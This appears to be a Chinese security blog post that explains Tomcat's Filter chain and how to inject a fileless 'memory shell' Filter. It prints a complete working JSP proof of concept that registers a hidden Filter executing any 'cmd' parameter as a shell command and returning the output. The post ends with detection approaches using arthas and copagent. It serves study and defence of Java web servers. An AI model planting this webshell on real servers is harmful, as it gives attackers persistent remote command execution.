Filter流程
图片来源:https://blog.csdn.net/qq_37924905/article/details/108616779
Filter注册流程
创建 maven Java web项目,不多说了,不会的自行百度嗷。然后pom.xml 添加如下内容
<dependencies>
// 测试
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.11</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>3.0.1</version>
<scope>provided</scope>
</dependency>
<dependency>
<groupId>javax.servlet.jsp</groupId>
<artifactId>jsp-api</artifactId>
<version>2.1</version>
<scope>provided</scope>
</dependency>
// tomcat源码
<!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-catalina -->
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.51</version>
</dependency>
</dependencies>
项目结构如下,文件夹不存在的可以自行创建
FilterDemo如下
package com.yq1ng.Filter;
import javax.servlet.*;
import java.io.IOException;
/**
* @author ying
* @Description
* @create 2021-12-05 3:54 PM
*/
public class filterDemo implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("filterDemo 已被初始化...");
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("进行过滤操作...");
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {
}
}
web.xml添加
<filter>
<filter-name>filterDome</filter-name>
<filter-class>com.yq1ng.Filter.filterDemo</filter-class>
</filter>
<filter-mapping>
<filter-name>filterDome</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
开始debug,看自定义Filter怎么被调用。首先是org\apache\catalina\startup\ContextConfig.class#configureContext()
读取、解析xml文件,返回解析后的实例,这个不说了,代码好长。org\apache\catalina\core\StandardWrapperValve.class#invoke()
中创建了filterChain
跟进看看,在42行获取的当前web应用的信息
主要关注图中的三个属性
- filterConfigs:存放 filterDef(见filterDefs) ,filter实例对象及其他信息
- filterDefs:存放过滤器名、过滤器全限定名及其他信息
- filterMaps:存放过滤器名字(FilterName )及对应作用url(URLPattern)
这里遍历filterMaps,比较请求url是在filter作用路径中,如果路径符合要求则在context中寻找对应的filterConfig,如果filterConfig存在且不为null则进入filterChain.addFilter()
,跟进
for循环来判断我们的filter是否存在,若存在则直接return,也就是去重。
下面的if判断n是否与当前filter容量相等,如果相等则对filter的空间+10,然后将我们的filter加到当前filters中,这部分相当于扩容。看一下filter和n
然后返回,for循环过后filterChain算是装载完成了。然后又回到org\apache\catalina\core\StandardWrapperValve.class#invoke()
就开始调用filter链
跟进doFilter()
继续
在这里就会调用我们自定义的Filter
来一张宽字节的总结
Filter内存马实现
先提一个特性,在 Servlet 3.0 后, servlet和filter,甚至Listener都可以进行动态的创建,从javax\servlet\ServletContext.class
接口中也能直观看出
那么就可以通过jsp动态创建恶意的Filter。从注册流程可以知道,组装filterChain的时候是通过context获取其filtersMaps,怎么获取这个context然后把恶意过滤器添加到第一位呢?
获取context
在org\apache\catalina\connector\Request.class
发现getContext()
方法,此方法可以获取context
怎么获取Request对象呢?实际Tomcat在使用request的时候不是用的Request这个类,而是RequestFacade,因为Request这个类里面有很多属性和方法,这些方法是不想对外公开的,所以使用RequestFacade进行包装,来看一下
所以可以使用反射获取Request
<%
Field req = request.getClass().getDeclaredField("request");
req.setAccessible(true);
Request req1 = (Request) req.get(request);
StandardContext standardContext = (StandardContext) req1.getContext();
%>
poc
poc怎么得来的可以看看https://blog.csdn.net/angry_program/article/details/116661899,很详细,我也没细看(逃,poc很容易理解,这里就直接看poc了
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.InputStream" %>
<%--
Created by IntelliJ IDEA.
User: ying
Date: 12/5/2021
Time: 9:06 PM
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>test</title>
</head>
<body>
<%
// 定义过滤器名字
final String name = "yq1ng";
// 获取context
Field req = request.getClass().getDeclaredField("request");
req.setAccessible(true);
Request req1 = (Request) req.get(request);
StandardContext standardContext = (StandardContext) req1.getContext();
// 获取filterConfigs
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
// 如果过滤器不存在则进行注入
if (filterConfigs.get(name) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
byte[] bytes = new byte[1024];
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output);
servletResponse.getWriter().flush();
return;
// Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
// int len = process.getInputStream().read(bytes);
// servletResponse.getWriter().write(new String(bytes,0,len));
// process.destroy();
// return;
}
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
};
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
// 将filterDef添加到filterDefs中
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
// 将恶意Filter移到第一位
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name,filterConfig);
out.print("Inject Success !");
}
%>
</body>
</html>
启动服务,访问 test.jsp
这样还是不行,和普通的webshell没区别,还是会有恶意文件落地,所以还要结合反序列化来实现无文件落地的内存马
查杀
参考:https://gv7.me/articles/2020/kill-java-web-filter-memshell/
查杀思路大致为使用Agent遍历所有已经加载到内存中的class,判断filter来源(ClassLoader)、web.xml配置、filter常见恶意名字、检查Filter对应的ClassLoader是否存在对应的class文件、检查doFilter方法中是否含有恶意代码(Runtime、Process、defineClass等等
arthas
https://github.com/alibaba/arthas
适合对业务整体代码较为熟悉的时候使用
启动tomcat,注入内存马,使用java -jar .\arthas-boot.jar
启动工具,选择 org.apache.catalina.startup.Bootstrap 进程
使用sc命令列出JVM已加载的所有Filter:sc *.Filter
使用jad命令反编译class:jad --source-only org.apache.jsp.test_jsp
使用watch命令监控函数调用情况:watch org.apache.catalina.core.ApplicationFilterFactory createFilterChain 'returnObj.filters.{?#this!=null}.{filterClass}'
copagent
由arthas二次开发,这个应该挺适合检测内存马的,只需要java -jar .\cop.jar
即可
这两个使用了agent技术,暂不深入,因为我还没学到,嘤嘤嘤